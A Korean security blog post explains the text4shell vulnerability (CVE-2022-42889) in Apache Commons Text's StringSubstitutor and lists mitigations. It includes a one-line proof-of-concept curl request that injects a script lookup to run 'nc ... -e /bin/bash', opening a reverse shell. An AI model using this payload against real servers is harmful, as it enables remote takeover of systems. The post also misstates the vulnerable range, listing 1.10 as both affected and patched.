개요
Apache Commons Text에서 발견된 취약점의 Exploit 난이도와 영향도만을 놓고본다면, Log4shell에 버금가는 취약점이라고 볼 수 있습니다.
해당 취약점은 Apache Commons Text Module에서 발생하며 RCE(Remote Controll Executuion)가 가능한 취약점입니다. 또한, CVE-2022-42889를 부여받았으며, text4shell 이라는 이름으로 명명되었습니다.
취약점 상세
취약 버전
1.10 버전 이하 (1.5 ~ 1.9)
text4shell 취약점은 Apache Commons Text의 StringSubstitutor를 사용할 때 발생합니다. StringSubstitutor Class는 문자열로 표현된 변수를 값으로 변환하는 역할을 합니다.
해당 Class 내 createInterpolator라는 Default Interpolator는 StringLookupFactory에서 지원하는 다양한 표준 형식을 사용할 수 있습니다.
기본 표준 형식 : ${prefix:name}
표준 형식 예제 : StringLookupFactory
final StringSubstitutor interpolator = StringSubstitutor.createInterpolator();
interpolator.setEnableSubstitutionInVariables(true); // Allows for nested $'s.
final String text = interpolator.replace("Base64 Decoder: ${base64Decoder:SGVsbG9Xb3JsZCE=}\n"
+ "Base64 Encoder: ${base64Encoder:HelloWorld!}\n"
+ "Java Constant: ${const:java.awt.event.KeyEvent.VK_ESCAPE}\n"
+ "Date: ${date:yyyy-MM-dd}\n" + "DNS: ${dns:address|apache.org}\n"
+ "Environment Variable: ${env:USERNAME}\n"
+ "File Content: ${file:UTF-8:src/test/resources/document.properties}\n"
+ "Java: ${java:version}\n" + "Localhost: ${localhost:canonical-name}\n"
+ "Properties File: ${properties:src/test/resources/document.properties::mykey}\n"
+ "Resource Bundle: ${resourceBundle:org.example.testResourceBundleLookup:mykey}\n"
+ "Script: ${script:javascript:3 + 4}\n" + "System Property: ${sys:user.dir}\n"
+ "URL Decoder: ${urlDecoder:Hello%20World%21}\n"
+ "URL Encoder: ${urlEncoder:Hello World!}\n"
+ "URL Content (HTTP): ${url:UTF-8:http://www.apache.org}\n"
+ "URL Content (HTTPS): ${url:UTF-8:https://www.apache.org}\n"
+ "URL Content (File): ${url:UTF-8:file:///${sys:user.dir}/src/test/resources/document.properties}\n"
+ "XML XPath: ${xml:src/test/resources/document.xml:/root/path/to/node}\n");
위의 예제 코드 중 interpolator.replace() Method 내 인자로 입력되는 문자열들이 replace Method의 작동 과정에서 실제 변수 값으로 변환됩니다. 그리고 변수 값으로 변환되는 과정에서 바로 취약점이 발생하고 있으며, 이를 통해 임의의 명령어를 실행시킬 수 있게 됩니다.
text4shell POC (RCE)
$ curl http://localhost/text4shell/attack?search=${script:javascript:java.lang.Runtime.getRuntime().exec('nc ip port -e /bin/bash')}
방금 설명드린 내용처럼 쉽게 Exploit이 가능하기 때문에 취약점의 위험도 자체는 높다고 볼 수 있지만, 다행히 Apache Commons Text Module이 비교적 많이 사용되고 있지 않아 Log4shell보다는 실제 피해 발생 가능성은 낮다고 볼 수 있습니다. 다만, 해당 모듈은 2,591개의 Project가 사용 중인 것으로 확인되었으며, 그 중에는 큰 규모의 Project들도 존재하고 있습니다.
취약 서버의 경우 아래 github 내 Docker 파일을 이용하여 쉽게 구성할 수 있습니다.
대응 방안
- 취약점이 패치된 버전인 1.10 Version으로 업데이트
- StringSubstitutor의 createInterpolator 미사용
- 공격에 활용될 수 있는 문자열 치환
참고 문서
'Hack > Web' 카테고리의 다른 글
Click Jacking이란? (0) | 2023.02.12 |
---|---|
npm 취약점 점검 도구 - npm audit (0) | 2022.11.16 |
Django 1-Day Directory Traversal 취약점, CVE-2021-3281 (0) | 2022.10.03 |
SQL에서 "문자열"="문자열 "이 True인 현상 (0) | 2022.09.27 |
Spring에서 Matrix Parameter를 지원함에 따라 발생 가능한 취약점 (0) | 2022.09.09 |
댓글